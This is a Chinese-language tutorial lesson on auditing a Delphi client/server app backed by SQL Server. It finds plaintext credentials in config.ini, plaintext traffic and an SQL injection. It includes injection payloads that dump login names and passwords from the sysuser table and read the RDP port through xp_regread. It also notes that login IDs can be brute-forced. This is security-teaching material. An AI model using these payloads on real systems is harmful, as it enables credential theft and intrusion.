# 第三课：Delphi代码审计--项目实战1

## 1、Function & Procedure

Delphi 把操作数据的方法分成了两种，一种是 function，另一种是 procedure，大致理解为“函数”和“过程”。 Procedure 类似 C 语言中的无返回值函数，即 VOID。而 Function 就是 C 语言中的有返回值函数，即没有 Void。

![](https://1465213733-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LZJtlFN7NOR8zMCiJsm%2F-LZXOtmCj3pT3_pYH1dV%2F-LZJx4Q72-y96Pxl4Yfl%2F21e65a213b1774c59d03619cb69683b4.jpg?generation=1551060442185698\&alt=media)

## 2、连接数据库

程序分为两种连接数据库模式：

![](https://1465213733-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LZJtlFN7NOR8zMCiJsm%2F-LZXOtmCj3pT3_pYH1dV%2F-LZJx4QCdHpXBn_36k2y%2F080d91e0679721483224a0d29b818c61.jpg?generation=1551060446000488\&alt=media)

无论是本地模式，还是联网模式，都是读取，当前路径的 config.ini 配置文件：

&#x20;（导致敏感信息暴漏，可直连服务器）

![](https://1465213733-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LZJtlFN7NOR8zMCiJsm%2F-LZXOtmCj3pT3_pYH1dV%2F-LZJx4QFPSSmFx6zlecm%2F00335e7c032c10d239df4a1c64a1543e.jpg?generation=1551060436095109\&alt=media)

继续跟数据库连接：配合SQL Server数据库，直接带入，可以判断出为明文存储。

![](https://1465213733-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LZJtlFN7NOR8zMCiJsm%2F-LZXOtmCj3pT3_pYH1dV%2F-LZJx4QLeNM-pS-hUN06%2Ff0281f9b417bfcff8962a51f84f410b3.jpg?generation=1551060445385446\&alt=media)

## 3、config.ini

config.ini 配置如下：

![](https://1465213733-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LZJtlFN7NOR8zMCiJsm%2F-LZXOtmCj3pT3_pYH1dV%2F-LZJx4QPhIs6N7i7KGzh%2F7a7ab42ea759160c062a56d2c4f1cc88.jpg?generation=1551060440343519\&alt=media)

## 4、C/S 交互过程

基于TCP通信，SQL Server通信构架大致如下：

&#x20;（可导致通信过程中抓取明文执行）

![](https://1465213733-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LZJtlFN7NOR8zMCiJsm%2F-LZXOtmCj3pT3_pYH1dV%2F-LZJx4QSuzFmuo01HLSl%2F109415886494f35eb1abb0dc65e1ea4a.jpg?generation=1551060433410421\&alt=media)

## 5、SQL 注入

代入执行：（导致可拼接sql语句，查询任意语句或者执行命令）

![](https://1465213733-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LZJtlFN7NOR8zMCiJsm%2F-LZXOtmCj3pT3_pYH1dV%2F-LZJx4QWDs4PO-rvAKPk%2Ff2d2fa55ca7000f6ac4e2a7f35096223.jpg?generation=1551060452626510\&alt=media)

![](https://1465213733-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LZJtlFN7NOR8zMCiJsm%2F-LZXOtmCj3pT3_pYH1dV%2F-LZJx4QYMhqY_ksy92cR%2F9c7cde20e5b9f00367d3e9e6742795bd.jpg?generation=1551060437650108\&alt=media)

部分语句其中如下：

```sql
select distinct memberid,receivecompany
from weigh where receivecompany is not null and receivecompany like ''%'+xxxxxx+'%''
```

## 6、Client

软件呈现如下：

![](https://1465213733-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LZJtlFN7NOR8zMCiJsm%2F-LZXOtmCj3pT3_pYH1dV%2F-LZJx4Q_OqRlHmh3GD3-%2Ffb920104b40786b665ab4f54efcc7f45.jpg?generation=1551060429482932\&alt=media)

## 7、构造 SQL 语句

对应收货单位编号，以及收货单位名称。分别为：`memberid`, `receivecompany`。闭合语句为：

```sql
2' ; select loginid as memberid , password as receivecompany from sysuser --
```

![](https://1465213733-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LZJtlFN7NOR8zMCiJsm%2F-LZXOtmCj3pT3_pYH1dV%2F-LZJx4QbNxc5ubZ7hyf6%2F3fe1f0dff1f17524e03aa152e59172b2.jpg?generation=1551060438189954\&alt=media)

抓取返回如图：

* 得到admin 账号以及密码。 &#x20;

![](https://1465213733-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LZJtlFN7NOR8zMCiJsm%2F-LZXOtmCj3pT3_pYH1dV%2F-LZJx4Qd3HMkHPW3GUFY%2F0832ba025e9189a7099cd2e4dc368152.jpg?generation=1551060424645197\&alt=media)

* 构造读取远程桌面端口号：得到远程服务器端口号 &#x20;

```sql
2' ; EXEC master..xp_regread 'HKEY_LOCAL_MACHINE',
'SYSTEM\CurrentControlSet\Control\TerminalServer\WinStations\RDP-Tcp',
'PortNumber' --
```

## 8、获取缓冲区内容

copy 获取缓冲区内容： （导致可从服务器端构造代码）

![](https://1465213733-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LZJtlFN7NOR8zMCiJsm%2F-LZXOtmCj3pT3_pYH1dV%2F-LZJx4QgE4PHmgVfLFjH%2F12eae8dd1c87a5e9f14244f5c7b4eb70.jpg?generation=1551060445545133\&alt=media)

copy 用法如下：

> copy（a,b,c);\
> a：就是copy源，就是一个字符串，表示你将要从a里copy一些东西;\
> b：从a中的第b位开始copy（包含第11位）;\
> c：copy从第b位开始后的c个字符，\
> exp： m:=‘the test fuck'\
> s：=copy（m,2,2）； //s值为‘he’

当超出范围，会发生异常错误。实例中，从服务器数据库获取数据后进行 copy。

软件登陆部分代码如下：（导致可自动化跑 loginid。）

![](https://1465213733-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LZJtlFN7NOR8zMCiJsm%2F-LZXOtmCj3pT3_pYH1dV%2F-LZJx4Qkc0GEFjNuzjuz%2F24734f4bbaa74f862cfbcac3b53faf83.jpg?generation=1551060430543303\&alt=media)

多次尝试错误处理如下：退出软件，并且重新开始计算。

![](https://1465213733-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LZJtlFN7NOR8zMCiJsm%2F-LZXOtmCj3pT3_pYH1dV%2F-LZJx4Qoqz8Zo0m3Do-R%2F4ec9526c01770e2d5f17c9cc9a76b26b.jpg?generation=1551060448844446\&alt=media)

\--By Micropoor
